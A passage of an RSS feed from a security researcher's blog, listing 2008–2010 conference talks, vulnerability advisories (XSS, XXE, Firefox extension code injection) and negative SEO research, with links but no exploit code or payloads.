    link:http://w&lt;br&gt;ww.owasp.org/index.php/OWASP_New_Zealand_Day_2010 - returns:<br />
    <br />
    <img src="images/intoxicated_serps2.png" alt="" width="584" height="222" /><br />
    <br />
    So the question is: Who the *** is linking to OWASP NZ site in that way? <br />
    <br />
    From a negative SEO perspective, this is another technique which can be used to 'poison' SERPs of competitors site.DNS won't resolve domain namewith HTML tags such as &lt;br&gt;. I am sure this affects  other web sites as well.</description>
	<pubDate>Sun, 02 Oct 2010 02:21:00 GMT</pubDate>
</item>	
				
				
				<item>
    <title>Defending Against Application Level DoS Attacks</title>
    <link>http://malerisch.net/docs/defending_against_application_level_dos/Roberto_Suggi_Liverani_OWASPNZDAY2010-Defending_against_application_DoS.html</link>
    <description>20/07/2010 - I have uploaded some of the presentations given at the <a href="http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2010">OWASP NZ Day 2010</a> security conference. My talk about "Defending against application level DoS attacks" is also available at this <a href="docs/defending_against_application_level_dos/Roberto_Suggi_Liverani_OWASPNZDAY2010-Defending_against_application_DoS.pdf">link</a>. The talk summarises known DoS application attack vectors which I have often encountered when performing security assessments. Some recommendations are also part of the talk, which can be helpful when reviewing BCP and incident plans.</description>
	<pubDate>Wed, 20 Jul 2010 01:00:00 GMT</pubDate>
</item>	
				
				
				<item>
    <title>OWASP New Zealand Day 2010</title>
    <link>http://malerisch.net/articles/final_agenda_owasp_new_zealand_day_2010.html</link>
    <description>05/07/2010 - <a href="http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2010#tab=Agenda">Final agenda</a> for the Owasp New Zealand Day 2010 has been published today. I will also be talking about <a href="http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2010#tab=Speakers">Layer7 DoS attacks and defenses</a>. 
		      This talk will summarise some notes/ideas I have been collecting in previous assessments when encountering funny/interesting features/enviroments<br />
		      which could be trivially DoSed ;-)</description>
	<pubDate>Mon, 5 Jul 2010 01:00:00 GMT</pubDate>
</item>	
				
				
				<item>
    <title>OWASP New Zealand Day 2010</title>
    <link>http://malerisch.net/articles/owasp_new_zealand_day_2010.html</link>
    <description>06/05/2010 - Following the success of the OWASP New Zealand 2009 security conference which attracted more than 150 attendees, the OWASP New Zealand Chapter decided to organise the <a href="https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2010">OWASP New Zealand Day 2010</a>. The event will be held on the 15th July 2010 in Auckland.</description>
	<pubDate>Thu, 6 May 2010 01:00:00 GMT</pubDate>
</item>	
				
				
				
				<item>
    <title>White Paper - Cross Context Scripting with Firefox</title>
    <link>http://malerisch.net/docs/cross_context_scripting/Cross_Context_Scripting_with_Firefox.html</link>
    <description>22/04/2010 - For the last year, we have been focusing on 
Firefox Extension security and we have now released a research paper and an addendum
on the topic of Cross Contex Scripting (XCS).<br />
 The research paper "Cross Context Scripting 
with Firefox" demonstrates different ways of attacking Firefox extensions via Cross Context Scripting (XCS) vulnerabilities. <br /> Several XCS cases are detailed, including vulnerable extension code and exploit. <a href="/docs/cross_context_scripting/cross_context_scripting_with_firefox.pdf">white paper</a><br /> <br />The addendum "Exploiting Cross Context Scripting vulnerabilities in Firefox" includes a number of exploits tailored for Cross Context Scripting vulnerabilities. <a href="/docs/cross_context_scripting/Exploiting_Cross_Context_Scripting_vulnerabilities_in_Firefox.pdf">addendum</a><br /></description>
	<pubDate>Thu, 22 Apr 2010 01:00:00 GMT</pubDate>
</item>	
				
				
				

<item>
    <title>Multiple Adobe Products - XML External Entity And XML Injection</title>
    <link>http://malerisch.net/docs/advisories/2010-02-22_multiple_adobe_products_xml_external_entity_-_xml_injection.html</link>
    <description>22/02/2010 - Multiple Adobe Products are vulnerable to XML External Entity (XXE) and XML Injection attacks. <a href="http://malerisch.net/docs/advisories/2010-02-22_multiple_adobe_products_xml_external_entity_-_xml_injection.html">advisory</a></description>
	<pubDate>Mon, 22 Feb 2010 01:00:00 GMT</pubDate>
</item>		



			<item>
    <title>Defcon 17 Video Online</title>
    <link>http://malerisch.net/articles/defcon17_video_online.html</link>
    <description>24/01/2010 - The video of our Defcon 17 presentation is finally online and it is available from the Defcon web site. Some live demos are included in the second part of the talk. <a href="https://media.defcon.org/dc-17/video/DEFCON%2017%20Hacking%20Conference%20Presentation%20By%20Roberto%20Suggi%20Liverani%20and%20Nick%20Freeman%20-%20Abusing%20Firefox%20Addons%20-%20Video%20and%20Slides.m4v">Enjoy</a>!</description>
	<pubDate>Sun, 24 Jan 2010 10:00:00 GMT</pubDate>
</item>		
				
				
				<item>
    <title>Another Firefox Extension advisory</title>
    <link>http://malerisch.net/articles/Another_Firefox_Extension_advisory.html</link>
    <description>13/01/2010 - This comes from <a href="http://atta.cked.me/">Nick Freeman</a> and affects the <a href="http://security-assessment.com/files/advisories/Yoono_Firefox_Extension_Privileged_Code_Injection.pdf">Yoono Firefox extension</a>. A very sweet bug ;-).</description>
	<pubDate>Wed, 13 Jan 2010 10:00:00 GMT</pubDate>
</item>	
				
<item>
    <title>SecurityByte &amp; OWASP AppSec Asia 2009 and three 0days released</title>
    <link>http://malerisch.net/articles/SecurityByte_OWASP_AppSec_Asia_2009_and_three_0days_released.html</link>
    <description>19/11/2009 - I have been talking at the <a href="http://www.securitybyte.org/index.php/conference/sessions/14-exploiting-firefox-extensions.html">SecurityByte and OWASP AppSec Asia 2009</a> conference in India, Gurgaon. It was my first time there and as I love travelling, I coulnd't miss this opportunity. The conference was great, well organised and I have met very interesting people. Definitely recommended! During the talk, <a href="http://www.net-security.org/secworld.php?id=8527">three 0days</a> were finally released, which myself and <a href="http://atta.cked.me/">Nick Freeman</a> previously disclosed to the vendors. A <a href="http://www.youtube.com/watch?v=EPAWQr9X9mw">video interview</a> was also published online, just after the conference.</description>
	<pubDate>Sat, 19 Nov 2009 10:00:00 GMT</pubDate>
</item>	
				
<item>
    <title>Twitter XSS</title>
    <link>http://malerisch.net/articles/twitter_xss.html</link>
    <description>14/11/2009 - Not sure if some people noticed, but an interesting <a href="http://sites.google.com/site/tentacoloviola/twitterhorror">XSS vector was found affecting the Twitter web site last November</a>, by Rosario Valotta. When Rosario contacted me, I couldn't believe when looking at the XSS payload. After some talking, I suggested the use of  document.write to bypass some Twitter input filtering controls. This allowed Rosario's injection to include a script tag as well. The bug was also disclosed on <a href="http://seclists.org/fulldisclosure/2009/Nov/179">Full-Disclosure.</a> I just wonder about the so "many" implications of having that kind of XSS bug on Twitter. Happy to not use Twitter ;-)</description>
	<pubDate>Mon, 14 Nov 2009 10:00:00 GMT</pubDate>
</item>	
				

		<item>
    <title>2 Firefox Extensions Chrome Privileged Code Injection</title>
    <link>http://malerisch.net/articles/2_Firefox_Extensions_Chrome_Privileged_Code_Injection.html</link>
    <description>25/08/2009 - Coolpreviews and Update Scanner Firefox Extensions are vulnerable to Cross Site Scripting injection. <a href="docs/advisories/coolpreviews_chrome_privileged_code_injection.html">coolpreviews advisory</a> - <a href="docs/advisories/updatescanner_chrome_privileged_code_injection.html">update scanner advisory</a>.</description>
	<pubDate>Tue, 25 Aug 2009 10:00:00 GMT</pubDate>
</item>	
		
		
		<item>
    <title>Exploiting Firefox Extensions - Interview on Risky.biz</title>
    <link>http://malerisch.net/articles/Exploiting_Firefox_Extensions_-_Interview_on_Risky.biz.html</link>
    <description>24/08/2009 - Risky.biz recently published our interview with Paul Craig at the OWASP New Zealand Day about exploiting Firefox extensions.</description>
	<pubDate>Mon, 24 Aug 2009 10:00:00 GMT</pubDate>
</item>	
		
		<item>
    <title>Defcon 17 - Presentation</title>
    <link>http://www.malerisch.net/articles/Defcon_17_-_Presentation.html</link>
    <description>24/08/2009 - Defcon was great and we have managed to upload our presentation ;-)- download</description>
	<pubDate>Mon, 24 Aug 2009 10:00:00 GMT</pubDate>
</item>	
		
		<item>
    <title>Defcon 17</title>
    <link>http://malerisch.net/articles/defcon17.html</link>
    <description>24/07/2009 - Myself and Nick Freeman are going to Las Vegas to present at Defcon 17 on "<a href="http://www.defcon.org/html/defcon-17/dc-17-speakers.html#Liverani">Abusing Firefox extensions</a>". This time we will show more exploits and bugs ;-). We are on track 4 - 2pm. Check the Defcon <a href="http://www.defcon.org/html/defcon-17/dc-17-schedule.html#saturday" target="_blank">schedule</a>.</description>
	<pubDate>Mon, 24 Jul 2009 10:00:00 GMT</pubDate>
</item>	

<item>
    <title>Backdooring Windows Media Files</title>
    <link>http://malerisch.net/articles/Backdooring_Windows_Media_Files.html</link>
    <description>20/07/2009 - Rosario Valotta recently released a comprehensive white paper on &quot;Backdooring Windows Media Files&quot;. Many interesting points are covered, especially intranet scanning and ftp attacks via SAMI files. More info on his <a href="http://sites.google.com/site/tentacoloviola/backdooring-windows-media-files" target="_blank">blog</a>.</description>
	<pubDate>Mon, 20 Jul 2009 10:00:00 GMT</pubDate>
</item>	

<item>
    <title>OWASP New Zealand Day 2009</title>
    <link>http://malerisch.net/articles/OWASP_New_Zealand_Day_2009.html</link>
    <description>13/07/2009 - OWASP NZ Day has been a great event with more than 150 attendees, 7 talks, lot of drinks and fun! ;-) The presentations have been published online and are available for <a href="http://www.owasp.org/index.php/OWASP_New_Zealand_Day_2009#tab=Presentations" target="_blank">download</a>. Key points of the day are covered in an excellent article of  <a href="http://pageofwords.com/blog/CategoryView,category,OWASP.aspxhttp://pageofwords.com/blog/CategoryView,category,OWASP.aspx">Kirk Jackson</a>.</description>
	<pubDate>Mon, 13 Jul 2009 10:00:00 GMT</pubDate>
</item>	
		
		
		<item>
    <title>OWASP New Zealand Day 2009 - Speakers announcement</title>
    <link>http://malerisch.net/articles/OWASP_New_Zealand_Day_2009_-_Speakers_announcement.html</link>
    <description>08/06/2009 - Speakers have been announced for the OWASP NZ Day 2009 conference! Also, more than one hundred of registered people attending! Great result! ;-)</description>
	<pubDate>Mon, 08 Jun 2009 10:00:00 GMT</pubDate>
</item>	
			
			<item>
    <title>EUSecWest 2009</title>
    <link>http://malerisch.net/articles/EUSecWest_2009.html</link>
    <description>07/06/2009 - Just came back from Europe, London, after been presenting at EUSecWest about "Exploiting Firefox Extensions" with Nick Freeman. It was a really cool conference with very good topics. Our presentation slides are online.</description>
	<pubDate>Sun, 07 Jun 2009 10:00:00 GMT</pubDate>
</item>	
				
				<item>
    <title>OWASP Testing Guide v3.0</title>
    <link>http://malerisch.net/articles/OWASP_Testing_Guide_v3.0.html</link>
    <description>05/03/2009 - OWASP Testing Guide v3.0 has been recently published. I partially contributed to it. For those interested, it is also available as a printed book from Lulu.</description>
	<pubDate>Thu, 05 Mar 2000 10:00:00 GMT</pubDate>
</item>
				
				
				
				<item>
    <title>Google Analytics - Stored Cross Site Scripting</title>
    <link>http://malerisch.net/docs/advisories/google_analytics_stored_cross_scripting.html</link>
    <description>08/12/2008 - Google Analytics is vulnerable to Stored Cross Site Scripting. A malicious user is able to inject arbitrary browser content through web sites subscribed to the Google Analytics service.</description>
	<pubDate>Mon, 08 Dec 2008 10:00:00 GMT</pubDate>
</item>
				
				<item>
    <title>sed v0.2</title>
    <link>http://malerisch.net/articles/sed_v0.2.html</link>
    <description>25/11/2008 - search engine de-optimisation tool update.</description>
	<pubDate>Tue, 25 Nov 2008 12:00:00 GMT</pubDate>
</item>
					
					<item>
    <title>opera stored cross site scripting</title>
    <link>http://malerisch.net/docs/advisories/opera_stored_cross_site_scripting.html</link>
    <description>22/10/2008 - Opera browser is vulnerable to stored Cross Site Scripting. A malicious attacker is able to inject arbitrary browser content through the websites visited with the Opera.</description>
	<pubDate>Wed, 22 Oct 2008 10:00:00 GMT</pubDate>
</item>

<item>
    <title>sed v0.1</title>
    <link>http://malerisch.net/articles/sed_v0.1.html</link>
    <description>28/09/2008 - search engine de-optimisation tool released.</description>
	<pubDate>Tue, 28 Oct 2008 12:00:00 GMT</pubDate>
</item>

<item>
    <title>Ruxcon 2008</title>
    <link>http://malerisch.net/articles/Ruxcon_2008.html</link>
    <description>12/09/2008 - I will also speaking at Ruxcon about negative SEO. Don't miss this talk if you can't make it at Kiwicon! ;-)</description>
	<pubDate>Fri, 12 Sep 2008 12:00:00 GMT</pubDate>
</item>

<item>
    <title>browser security</title>
    <link>http://malerisch.net/articles/browser_security.html</link>
    <description>07/09/2008 - I have done some research in the area of browser security and presented this argument at the last OWASP NZ meeting.</description>
	<pubDate>Sun, 07 Sep 2008 12:00:00 GMT</pubDate>
</item>

<item>
    <title>Kiwicon 2008</title>
    <link>http://malerisch.net/articles/KiwiconII.html</link>
    <description>01/09/2008 - I will be speaking at Kiwicon about negative SEO. Don't miss this talk if you love playing with search engines ;-) .</description>
	<pubDate>Mon, 01 Sep 2008 12:00:00 GMT</pubDate>
</item>

</channel>
</rss>
